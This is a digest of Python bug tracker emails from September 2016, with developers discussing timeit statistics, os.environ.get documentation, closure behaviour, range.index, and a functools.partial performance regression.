> * Display the average, rather than the minimum, of the timings *and* display the standard deviation. It should help a little bit to get more reproductible results.

This makes hard to compare results with older Python versions.

> * Change the default repeat from 3 to 5 to have a better distribution of timings. It makes the timeit CLI 66% slower (ex: 1 second instead of 600 ms). That's the price of stable benchmarks :-)

For now default timeit run takes from 0.8 to 8 sec. Adding yet 5 sec makes a user more angry.

> * Don't disable the garbage collector anymore! Disabling the GC is not fair: real applications use it.

But this makes short microbenchmarks less stable.

> * autorange: start with 1 loop instead of 10 for slow benchmarks like time.sleep(1)

This is good if you run relatively slow benchmark, but it makes the result less reliable. You always can specify -n1, but on your own risk.

> * Display large number of loops as power of 10 for readability, ex: "10^6" instead of "1000000". Also accept "10^6" syntax for the --num parameter.

10^6 syntax doesn't look Pythonic. And this change breaks third-party scripts that run timeit.

> * Add support for "ns" unit: nanoseconds (10^-9 second)

Even "pass" takes at least 0.02 usec on my computer. What you want to measure that takes < 1 ns? I think timeit is just wrong tool for this.

The patch also makes a warning about unreliable results output to stdout and always visible. This is yet one compatibility break. Current code allows the user to control the visibility of the warning by the -W Python option, and don't mix the warning with result output.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28240>
_______________________________________

From report at bugs.python.org  Wed Sep 21 11:22:05 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 21 Sep 2016 15:22:05 +0000
Subject: [issue28214] Improve exception reporting for problematic __set_name__
 attributes
In-Reply-To: <1474375122.62.0.719507311947.issue28214@psf.upfronthosting.co.za>
Message-ID: <1474471325.78.0.688729574535.issue28214@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

@property can be used to define a broken __set_name__ attribute:

>>> class BadIdea:
...     @property
...     def __set_name__(self):
...         pass
... 
>>> class NotGoingToWork:
...     attr = BadIdea()
... 
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'NoneType' object is not callable

And there's also a failing __set_name__ call:

>>> class FaultyImplementation:
...     def __set_name__(self, *args):
...         1/0
... 
>>> class TheoreticallyCouldWork:
...     attr = FaultyImplementation()
... 
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<stdin>", line 3, in __set_name__
ZeroDivisionError: division by zero

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28214>
_______________________________________

From report at bugs.python.org  Wed Sep 21 11:26:21 2016
From: report at bugs.python.org (Dennis Jensen)
Date: Wed, 21 Sep 2016 15:26:21 +0000
Subject: [issue28242] os.environ.get documentation missing
Message-ID: <1474471581.82.0.975810420091.issue28242@psf.upfronthosting.co.za>


New submission from Dennis Jensen:

I was encountering what seemed to be odd behavior from os.environ.get() from what I could find out about it and so I tried to locate the actual documentation on how it is supposed to be used now.  However, all I can find is a minor reference to os.environ.  There appears to be no documentation on os.environ.get() and/or any other methods of this sort associated with os.environ.  The alternate functionality os.getenv() is documented but this is not supposed to work the same as os.environ.get()   Still the behavior that I encountered is that it seems that either os.environ.get()) has been changed and/or it is now just simply a proxy for os.getenv() -- as these two seem to function the same way now.  Note: From what I was able to discern about how os.environ.get() worked is that it accepts only 1 parameter and if the item does not exist it throws an error -- while os.getenv() takes 2 parameters and does not throw an error if the item does not exist.

----------
assignee: docs at python
components: Documentation
messages: 277159
nosy: DennisJensen, docs at python
priority: normal
severity: normal
status: open
title: os.environ.get documentation missing
type: resource usage
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28242>
_______________________________________

From report at bugs.python.org  Wed Sep 21 11:27:05 2016
From: report at bugs.python.org (Zachary Ware)
Date: Wed, 21 Sep 2016 15:27:05 +0000
Subject: [issue28241] Nested fuctions Unexpected behaviour when stored in a
 list and called after.
In-Reply-To: <1474470773.2.0.761547544618.issue28241@psf.upfronthosting.co.za>
Message-ID: <1474471625.99.0.615900645669.issue28241@psf.upfronthosting.co.za>


Zachary Ware added the comment:

See https://docs.python.org/3/faq/programming.html#why-do-lambdas-defined-in-a-loop-with-different-values-all-return-the-same-result

Note that `lambda: x**2` is equivalent to `def FUN(): return x**2`.

----------
nosy: +zach.ware
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28241>
_______________________________________

From report at bugs.python.org  Wed Sep 21 11:28:29 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 21 Sep 2016 15:28:29 +0000
Subject: [issue28240] Enhance the timeit module
In-Reply-To: <1474471055.77.0.613588138736.issue28240@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwakA79=Vjf616vtdJOnE5yZNhPYGjFS5J_W6bPfPZqKeQ@mail.gmail.com>


STINNER Victor added the comment:

Serhiy Storchaka added the comment:
>> * Change the default repeat from 3 to 5 to have a better distribution of timings. It makes the timeit CLI 66% slower (ex: 1 second instead of 600 ms). That's the price of stable benchmarks :-)
>
> For now default timeit run takes from 0.8 to 8 sec. Adding yet 5 sec makes a user more angry.

Ah yes, I forgot that timeit uses power of 10 to have a nice looking
"xxx loops". I chose to use power of 2 in the perf module to have
shorter benchmarks, but powers of 2 are displayed as 2^n to remain
readable.

>> * Display large number of loops as power of 10 for readability, ex: "10^6" instead of "1000000". Also accept "10^6" syntax for the --num parameter.
>
> 10^6 syntax doesn't look Pythonic. And this change breaks third-party scripts that run timeit.

Do you mean scripts parsing the timeit output (stdout)?

>> * Add support for "ns" unit: nanoseconds (10^-9 second)
>
> Even "pass" takes at least 0.02 usec on my computer. What you want to measure that takes < 1 ns?

IMO 20 ns is more readable than 0.02 usec.

> I think timeit is just wrong tool for this.

Even if timeit is not reliable, it *is* used to benchmark operations
taking less than 1 us.

> The patch also makes a warning about unreliable results output to stdout and always visible. This is yet one compatibility break. Current code allows the user to control the visibility of the warning by the -W Python option, and don't mix the warning with result output.

Oh, I forgot to documen this change. I made it because the old code
displays a surprising ":0: " prefix. I chose to use print instead. I
don't think that it's a common usage to hide the warning using
-Wignore.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28240>
_______________________________________

From report at bugs.python.org  Wed Sep 21 11:28:54 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 21 Sep 2016 15:28:54 +0000
Subject: [issue28197] range.index mismatch with documentation
In-Reply-To: <1474231832.91.0.157673750963.issue28197@psf.upfronthosting.co.za>
Message-ID: <1474471734.99.0.597809378781.issue28197@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Sorry for poor words. I was not going to blame anybody. But changing interface always is dangerous. It makes third-party classes that implemented the interface no longer valid substitutions.

I think two things are worth to be done:

1) Explicitly document (including the docstring) that the support of stop and start arguments is optional. Not all sequences implements it. 3.5+.

2) Add the support of stop and start arguments to range() in 3.7.

And would be nice to provide a way for testing if the sequence supports extended index(). If this is possible.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28197>
_______________________________________

From report at bugs.python.org  Wed Sep 21 11:36:36 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 21 Sep 2016 15:36:36 +0000
Subject: [issue28197] range.index mismatch with documentation
In-Reply-To: <1474231832.91.0.157673750963.issue28197@psf.upfronthosting.co.za>
Message-ID: <1474472196.49.0.929600581318.issue28197@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

>  2) Add the support of stop and start arguments to range() in 3.7.

Yes, the whole point of adding these bogus methods in the first place was to harmonize the range object with other sequence types.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28197>
_______________________________________

From report at bugs.python.org  Wed Sep 21 11:37:15 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Wed, 21 Sep 2016 15:37:15 +0000
Subject: [issue28100] Refactor error messages in symtable.c
In-Reply-To: <1473680584.21.0.216530190248.issue28100@psf.upfronthosting.co.za>
Message-ID: <1474472235.15.0.00627268510913.issue28100@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

Here is the patch for 3.6 with requested changes.

While playing with this a bit more, I discovered that the error message in this case (if no value is actually assigned):

def f():
    x: int
    global x

could be misleading. Therefore I changed the order of DEF_LOCAL and DEF_ANNOT to get a more clear error message for such cases (this does not spoil error messages in other cases).

----------
Added file: http://bugs.python.org/file44782/refactor-error-msg-v2.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28100>
_______________________________________

From report at bugs.python.org  Wed Sep 21 11:51:44 2016
From: report at bugs.python.org (Ned Deily)
Date: Wed, 21 Sep 2016 15:51:44 +0000
Subject: [issue28242] os.environ.get documentation missing
In-Reply-To: <1474471581.82.0.975810420091.issue28242@psf.upfronthosting.co.za>
Message-ID: <1474473104.19.0.720229242878.issue28242@psf.upfronthosting.co.za>


Ned Deily added the comment:

os.environ is documented as being a "mapping" object.  The "get" method is a standard method for all mapping objects; it's not unique to os.environ.  Thus, there is no need to specially call out "get" or any of the other "mapping" methods and operations available with os.environ or any other example of a mapping object.  The "Built-in Types" chapter of the Python Standard Library reference describes the standard types and their methods and operations.


https://docs.python.org/3/library/os.html#os.environ
https://docs.python.org/3/library/stdtypes.html#mapping-types-dict
https://docs.python.org/3/library/stdtypes.html

----------
nosy: +ned.deily
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28242>
_______________________________________

From report at bugs.python.org  Wed Sep 21 12:08:56 2016
From: report at bugs.python.org (Steve Dower)
Date: Wed, 21 Sep 2016 16:08:56 +0000
Subject: [issue27932] platform.win32_ver() leaks in 2.7.12
In-Reply-To: <1472744071.14.0.482080718706.issue27932@psf.upfronthosting.co.za>
Message-ID: <1474474136.46.0.661466348017.issue27932@psf.upfronthosting.co.za>


Changes by Steve Dower <steve.dower at python.org>:


----------
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27932>
_______________________________________

From report at bugs.python.org  Wed Sep 21 12:10:44 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 21 Sep 2016 16:10:44 +0000
Subject: [issue26513] platform.win32_ver() broken in 2.7.11
In-Reply-To: <1457473293.66.0.928061603359.issue26513@psf.upfronthosting.co.za>
Message-ID: <20160921161033.4733.98862.543B8941@psf.io>


Roundup Robot added the comment:

New changeset 03f2c8fc24ea by Steve Dower in branch '2.7':
Issue #26513: Use winver.product_type instead of .product
https://hg.python.org/cpython/rev/03f2c8fc24ea

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26513>
_______________________________________

From report at bugs.python.org  Wed Sep 21 12:21:52 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 21 Sep 2016 16:21:52 +0000
Subject: [issue28241] Nested fuctions Unexpected behaviour when stored in a
 list and called after.
In-Reply-To: <1474470773.2.0.761547544618.issue28241@psf.upfronthosting.co.za>
Message-ID: <1474474912.7.0.682094926222.issue28241@psf.upfronthosting.co.za>


R. David Murray added the comment:

Note also that your first example worked only because your loop variable was named i.  If you used, say, 'j', you'd get the same result as in your second example.  This is because the closure is over the named variable, and both in your definition loop and your print loop, that variable is the 'i' in the global namespace.

----------
nosy: +r.david.murray

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28241>
_______________________________________

From report at bugs.python.org  Wed Sep 21 12:27:41 2016
From: report at bugs.python.org (Dennis Jensen)
Date: Wed, 21 Sep 2016 16:27:41 +0000
Subject: [issue28242] os.environ.get documentation missing
In-Reply-To: <1474471581.82.0.975810420091.issue28242@psf.upfronthosting.co.za>
Message-ID: <1474475261.71.0.579207510608.issue28242@psf.upfronthosting.co.za>


Dennis Jensen added the comment:

Okay well thanks for that information but after investigating this then I have to ask what is the difference between:

os.environ.get()

and

os.getenv()

As these 2 functions now appear to do exactly the same thing?  If this is the case then should there not be something added to either os.environ or to os.getenv() that states something to this effect.

Something along the lines of:  Since version: "whatever version that changed how .get() works" made the os.environ.get() work exactly the same as the os.getenv() -- this way since there are still references floating around that state that these 2 do not function the same and nothing outlined clearly within documentation stating that this is no longer the case.  Creates a bit of confusion on what should and should not be.

----------
resolution: not a bug -> 
status: closed -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28242>
_______________________________________

From report at bugs.python.org  Wed Sep 21 12:32:00 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 21 Sep 2016 16:32:00 +0000
Subject: [issue28239] Implement functools.lru_cache() using ordered dict
In-Reply-To: <1474465931.98.0.374027560088.issue28239@psf.upfronthosting.co.za>
Message-ID: <1474475520.9.0.548719567065.issue28239@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

I consider this issue as lying on the way to using the orderable of dict in OrderedDict implementation (the latter is very desirable because current OrderedDict implementation can be easily broken by using plain dict API). The main difficulty of implementing OrderedDict is the move_to_end() method (especially move_to_end(False)).

In additional, the problem of holes is occurred for any often modified dictionary. Using ordered dict in lru_cache() give as good stress test for optimizing dict updating and resizing code.

I don't suggest to change lru_cach() implementation just now. But after long testing ordered dicts during the developing stage of 3.7 (or even 3.8) we can make a decision.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28239>
_______________________________________

From report at bugs.python.org  Wed Sep 21 12:33:44 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 21 Sep 2016 16:33:44 +0000
Subject: [issue28235] In xml.etree.ElementTree docs there is no parser
 argument in fromstring()
In-Reply-To: <1474457056.95.0.329737294315.issue28235@psf.upfronthosting.co.za>
Message-ID: <1474475624.68.0.874968700255.issue28235@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +eli.bendersky, scoder

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28235>
_______________________________________

From report at bugs.python.org  Wed Sep 21 12:34:00 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 21 Sep 2016 16:34:00 +0000
Subject: [issue28235] In xml.etree.ElementTree docs there is no parser
 argument in fromstring()
In-Reply-To: <1474457056.95.0.329737294315.issue28235@psf.upfronthosting.co.za>
Message-ID: <1474475640.36.0.49842565941.issue28235@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28235>
_______________________________________

From report at bugs.python.org  Wed Sep 21 12:34:40 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 21 Sep 2016 16:34:40 +0000
Subject: [issue25651] Confusing output for TestCase.subTest(0)
In-Reply-To: <1447814053.14.0.516761369725.issue25651@psf.upfronthosting.co.za>
Message-ID: <20160921163432.19786.89161.BCDCBC13@psf.io>


Roundup Robot added the comment:

New changeset ba743894e793 by Berker Peksag in branch '3.5':
Issue #25651: Allow falsy values to be used for msg parameter of subTest()
https://hg.python.org/cpython/rev/ba743894e793

New changeset ddbf92168a44 by Berker Peksag in branch '3.6':
Issue #25651: Merge from 3.5
https://hg.python.org/cpython/rev/ddbf92168a44

New changeset e5888f5b9cf8 by Berker Peksag in branch 'default':
Issue #25651: Merge from 3.6
https://hg.python.org/cpython/rev/e5888f5b9cf8

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25651>
_______________________________________

From report at bugs.python.org  Wed Sep 21 12:35:13 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 21 Sep 2016 16:35:13 +0000
Subject: [issue28234] In xml.etree.ElementTree docs there are many absent
 Element class links
In-Reply-To: <1474453668.8.0.0192177985612.issue28234@psf.upfronthosting.co.za>
Message-ID: <1474475713.97.0.395461852217.issue28234@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +eli.bendersky, scoder
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28234>
_______________________________________

From report at bugs.python.org  Wed Sep 21 12:36:57 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 21 Sep 2016 16:36:57 +0000
Subject: [issue25651] Confusing output for TestCase.subTest(0)
In-Reply-To: <1447814053.14.0.516761369725.issue25651@psf.upfronthosting.co.za>
Message-ID: <1474475817.48.0.968329747397.issue25651@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Fixed. I lost some time because of this today :)

----------
nosy: +berker.peksag
resolution:  -> fixed
stage: test needed -> resolved
status: open -> closed
versions: +Python 3.7 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25651>
_______________________________________

From report at bugs.python.org  Wed Sep 21 12:41:38 2016
From: report at bugs.python.org (Dennis Jensen)
Date: Wed, 21 Sep 2016 16:41:38 +0000
Subject: [issue28242] os.environ.get documentation missing
In-Reply-To: <1474471581.82.0.975810420091.issue28242@psf.upfronthosting.co.za>
Message-ID: <1474476098.88.0.377232367029.issue28242@psf.upfronthosting.co.za>


Changes by Dennis Jensen <djensen at macsales.com>:


----------
status: pending -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28242>
_______________________________________

From report at bugs.python.org  Wed Sep 21 12:45:19 2016
From: report at bugs.python.org (artxyz)
Date: Wed, 21 Sep 2016 16:45:19 +0000
Subject: [issue28241] Nested fuctions Unexpected behaviour when stored in a
 list and called after.
In-Reply-To: <1474470773.2.0.761547544618.issue28241@psf.upfronthosting.co.za>
Message-ID: <1474476319.15.0.0845233833826.issue28241@psf.upfronthosting.co.za>


artxyz added the comment:

I got it now. Thanks!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28241>
_______________________________________

From report at bugs.python.org  Wed Sep 21 12:58:48 2016
From: report at bugs.python.org (Jan-Philip Gehrcke)
Date: Wed, 21 Sep 2016 16:58:48 +0000
Subject: [issue16487] Allow ssl certificates to be specified from memory
 rather than files.
In-Reply-To: <1353078615.85.0.973290481578.issue16487@psf.upfronthosting.co.za>
Message-ID: <1474477128.68.0.248755625477.issue16487@psf.upfronthosting.co.za>


Jan-Philip Gehrcke added the comment:

Thanks Christian, much appreciated. Just responded to your review.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16487>
_______________________________________

From report at bugs.python.org  Wed Sep 21 13:04:04 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 21 Sep 2016 17:04:04 +0000
Subject: [issue28235] In xml.etree.ElementTree docs there is no parser
 argument in fromstring()
In-Reply-To: <1474457056.95.0.329737294315.issue28235@psf.upfronthosting.co.za>
Message-ID: <1474477444.41.0.870768887373.issue28235@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Instead of duplicating XML() documentation, I'd suggest changing fromstring() documentation to say something like "this is an alias for ElementTree.XML()."

----------
nosy: +berker.peksag
versions: +Python 3.5, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28235>
_______________________________________

From report at bugs.python.org  Wed Sep 21 14:18:28 2016
From: report at bugs.python.org (Ned Deily)
Date: Wed, 21 Sep 2016 18:18:28 +0000
Subject: [issue28242] os.environ.get documentation missing
In-Reply-To: <1474471581.82.0.975810420091.issue28242@psf.upfronthosting.co.za>
Message-ID: <1474481908.38.0.871578171648.issue28242@psf.upfronthosting.co.za>


Ned Deily added the comment:

The difference is that os.environ is a reference to a mapping object, essentially a dict, that has all of the process environment variables. By using the get('x') method on that object, you ask the object to find and return the value corresponding to key 'x' or to return None if the key is not found.  It's the same as using os.environ['x'] except that the latter raises a KeyError exception if the the key is not found.  This is how all mapping objects work.  (Also, os.environ() does not work because os.environ is not callable.)  os.getenv('x') is a call to the function that returns the value corresponding to key 'x' or None.  Yes, the end results of os.getenv('x') and os.environ.get('x') are the same but how they get there is conceptually different.  Why are there two similar ways to do this?  I can only speculate at this point.  It looks like os.environ and os.putenv have been around since the very early days of Python.  os.getenv appeared somewhat later but has been around since at least 2001 (http://bugs.python.org/issue429059).  Since os.putenv already existed, os.getenv could have been added as a convenience to mimic the underlying libc function names.  In any case, it's perfectly fine to use either approach and has been for at least 15 years!

>>> import os
>>> os.environ()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: '_Environ' object is not callable
>>> os.environ
environ({'TERM': 'xterm-256color', 'HISTCONTROL': 'erasedups', 'HOME': '/Users/nad'})
>>> os.environ.get('HOME')
'/Users/nad'
>>> os.environ['HOME']
'/Users/nad'
>>> os.getenv
<function getenv at 0x1007318c8>
>>> os.getenv('HOME')
'/Users/nad'

----------
resolution:  -> not a bug
status: open -> closed
type: resource usage -> 

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28242>
_______________________________________

From report at bugs.python.org  Wed Sep 21 14:27:41 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 21 Sep 2016 18:27:41 +0000
Subject: [issue28243] Performance regression in functools.partial()
Message-ID: <1474482461.16.0.647819968557.issue28243@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

There is 10% performance regression in calling functools.partial() in 3.6.

$ ./python -m perf timeit -s 'from functools import partial; f = lambda x, y: None; g = partial(f, 1)' -- 'g(2)'

Python 3.5:  Median +- std dev: 452 ns +- 25 ns
Python 3.6:  Median +- std dev: 491 ns +- 12 ns

----------
components: Interpreter Core
messages: 277176
nosy: haypo, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Performance regression in functools.partial()
type: performance
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28243>
_______________________________________

From mal at egenix.com  Wed Sep 21 14:35:23 2016
From: mal at egenix.com (M.-A. Lemburg)
Date: Wed, 21 Sep 2016 20:35:23 +0200
Subject: [issue28240] Enhance the timeit module: display average +- std
 dev instead of minimum
In-Reply-To: <1474467643.8.0.892269378533.issue28240@psf.upfronthosting.co.za>
References: <1474467643.8.0.892269378533.issue28240@psf.upfronthosting.co.za>
Message-ID: <57E2D2EB.8080209@egenix.com>

We had a similar discussion a while back for pybench. Consensus
then was to use the minimum as basis for benchmarking:

https://mail.python.org/pipermail/python-dev/2006-June/065525.html

I had used the average before this discussion in pybench 1.0:

https://mail.python.org/pipermail/python-announce-list/2001-November/001081.html

There are arguments both pro and con using min or avg values.

I'd suggest to display all values and base the findings on
all available values, rather than just one:
min, max, avg, median, stddev.

-- 
Marc-Andre Lemburg
eGenix.com


From report at bugs.python.org  Wed Sep 21 14:35:30 2016
From: report at bugs.python.org (Marc-Andre Lemburg)
Date: Wed, 21 Sep 2016 18:35:30 +0000
Subject: [issue28240] Enhance the timeit module: display average +- std dev
 instead of minimum
In-Reply-To: <1474467643.8.0.892269378533.issue28240@psf.upfronthosting.co.za>
Message-ID: <57E2D2EB.8080209@egenix.com>


Marc-Andre Lemburg added the comment:

We had a similar discussion a while back for pybench. Consensus
then was to use the minimum as basis for benchmarking:

https://mail.python.org/pipermail/python-dev/2006-June/065525.html

I had used the average before this discussion in pybench 1.0:

https://mail.python.org/pipermail/python-announce-list/2001-November/001081.html

There are arguments both pro and con using min or avg values.

I'd suggest to display all values and base the findings on
all available values, rather than just one:
min, max, avg, median, stddev.

----------
nosy: +lemburg
title: Enhance the timeit module -> Enhance the timeit module: display average +- std dev instead of minimum

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28240>
_______________________________________

From report at bugs.python.org  Wed Sep 21 15:11:57 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 21 Sep 2016 19:11:57 +0000
Subject: [issue28243] Performance regression in functools.partial()
In-Reply-To: <1474482461.16.0.647819968557.issue28243@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwbu5h1RiV_-NxqKOsn83KCcdjs1T9KHt14_yfqs2gzf0w@mail.gmail.com>


STINNER Victor added the comment:

The perf regression can be related to the new fastcall calling
convention or the work in ceval.c (new 16-bit regular bytecode, new
CALL_FUNCTION bytecodes).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28243>
_______________________________________

From report at bugs.python.org  Wed Sep 21 15:17:53 2016
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Wed, 21 Sep 2016 19:17:53 +0000
Subject: [issue28197] range.index mismatch with documentation
In-Reply-To: <1474231832.91.0.157673750963.issue28197@psf.upfronthosting.co.za>
Message-ID: <1474485473.79.0.957077275082.issue28197@psf.upfronthosting.co.za>


Vedran ?a?i? added the comment:

Why can't this go into 3.6? To me this situation seems like a bug.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28197>
_______________________________________

From report at bugs.python.org  Wed Sep 21 15:50:34 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 21 Sep 2016 19:50:34 +0000
Subject: [issue28243] Performance regression in functools.partial()
In-Reply-To: <1474482461.16.0.647819968557.issue28243@psf.upfronthosting.co.za>
Message-ID: <1474487434.45.0.00381689373196.issue28243@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Oh, functools.partial.__call__() doesn't use fastcall yet. So compared to Python 3.5, fastcall shouldn't explain a major performance difference. FYI I'm working on an extension of fastcall to also support fastcall calling convention for obj.__call__() ;-)

But maybe the regression is related to code moved in ceval.c to support fastcall. I noticed differences with fastcall when you don't compile Python with LTO+PGO.

--

About the bytecode, "g(2)" in Python 3.6b1 is:

              0 LOAD_GLOBAL              0 (g)
              2 LOAD_CONST               1 (2)
              4 CALL_FUNCTION            1
              6 POP_TOP

In Python 3.5 the bytecode is similar, but the bytecode size is variable and CALL_FUNCTION is made of two parts: number of positional arguments and number of keyword arguments.

              0 LOAD_GLOBAL              0 (g)
              3 LOAD_CONST               1 (2)
              6 CALL_FUNCTION            1 (1 positional, 0 keyword pair)
              9 POP_TOP

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28243>
_______________________________________

From report at bugs.python.org  Wed Sep 21 16:01:54 2016
From: report at bugs.python.org (=?utf-8?b?SmVzw7pzIEfDs21leg==?=)
Date: Wed, 21 Sep 2016 20:01:54 +0000
Subject: [issue26072] pdb fails to access variables closed over
In-Reply-To: <1452402984.12.0.000738362264887.issue26072@psf.upfronthosting.co.za>
Message-ID: <1474488114.51.0.715466216312.issue26072@psf.upfronthosting.co.za>


Jes?s G?mez added the comment:

Confirming.

Another use case is the use any lambda, or function definition inside the scope of a function, for checking conditions in the REPL.

Suppose two inner functions named condition1 and condition2, and a parameter X as a Collection:

(Pdb) any(condition1(x) and condition2(x) for x in X)
*** NameError: name 'condition1' is not defined

----------
nosy: +Jes?s G?mez

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26072>
_______________________________________

From report at bugs.python.org  Wed Sep 21 16:21:53 2016
From: report at bugs.python.org (Ethan Furman)
Date: Wed, 21 Sep 2016 20:21:53 +0000
Subject: [issue28228] imghdr does not support pathlib
Message-ID: <1474489313.4.0.716838576472.issue28228@psf.upfronthosting.co.za>


New submission from Ethan Furman:

Supporting pathlib was one of the requirements of removing the provisional status.  Why have you changed the type to enhancement?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28228>
_______________________________________

From report at bugs.python.org  Wed Sep 21 16:25:03 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 21 Sep 2016 20:25:03 +0000
Subject: [issue28134] socket.socket(fileno=fd) does not work as documented
In-Reply-To: <1473794011.65.0.923929152137.issue28134@psf.upfronthosting.co.za>
Message-ID: <1474489503.56.0.729127234108.issue28134@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +Extension Modules
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28134>
_______________________________________

From report at bugs.python.org  Wed Sep 21 16:52:01 2016
From: report at bugs.python.org (Brett Cannon)
Date: Wed, 21 Sep 2016 20:52:01 +0000
Subject: [issue28228] imghdr does not support pathlib
In-Reply-To: <1474489313.4.0.716838576472.issue28228@psf.upfronthosting.co.za>
Message-ID: <1474491121.58.0.129204241619.issue28228@psf.upfronthosting.co.za>


Brett Cannon added the comment:

"Removing the provisional status" of what? Pathlib? If so, have you asked Ned if adding support during the beta period is acceptable? This open question is probably why Serhiy changed the type as without Ned's sign-off it means changing something in the stdlib for __fspath__() support is an enhancement and thus needs to be a 3.7 thing. But if Ned allows for classifying the lack of support as a bug then you could classify this a behaviour problem.

I personally view it as an enhancement, but one that we should try to land prior to RC if Ned is okay with that.

----------
nosy: +ned.deily

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28228>
_______________________________________

From report at bugs.python.org  Wed Sep 21 17:29:42 2016
From: report at bugs.python.org (Jim Jewett)
Date: Wed, 21 Sep 2016 21:29:42 +0000
Subject: [issue27400] Datetime NoneType after calling Py_Finalize and
 Py_Initialize
In-Reply-To: <1467035358.55.0.678180807375.issue27400@psf.upfronthosting.co.za>
Message-ID: <1474493382.64.0.340842765206.issue27400@psf.upfronthosting.co.za>


Jim Jewett added the comment:

Having to (re-)fill the cache once per interpreter seems like a reasonable price to pay.

Why is 3.5 not included?  Did this not cause problems before the import change, or is it just that this bug is small enough that maybe it isn't worth backporting?

----------
nosy: +Jim.Jewett

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27400>
_______________________________________

From report at bugs.python.org  Wed Sep 21 17:42:39 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 21 Sep 2016 21:42:39 +0000
Subject: [issue26351] Occasionally check for Ctrl-C in long-running operations
 like sum
In-Reply-To: <1455299252.18.0.421982887455.issue26351@psf.upfronthosting.co.za>
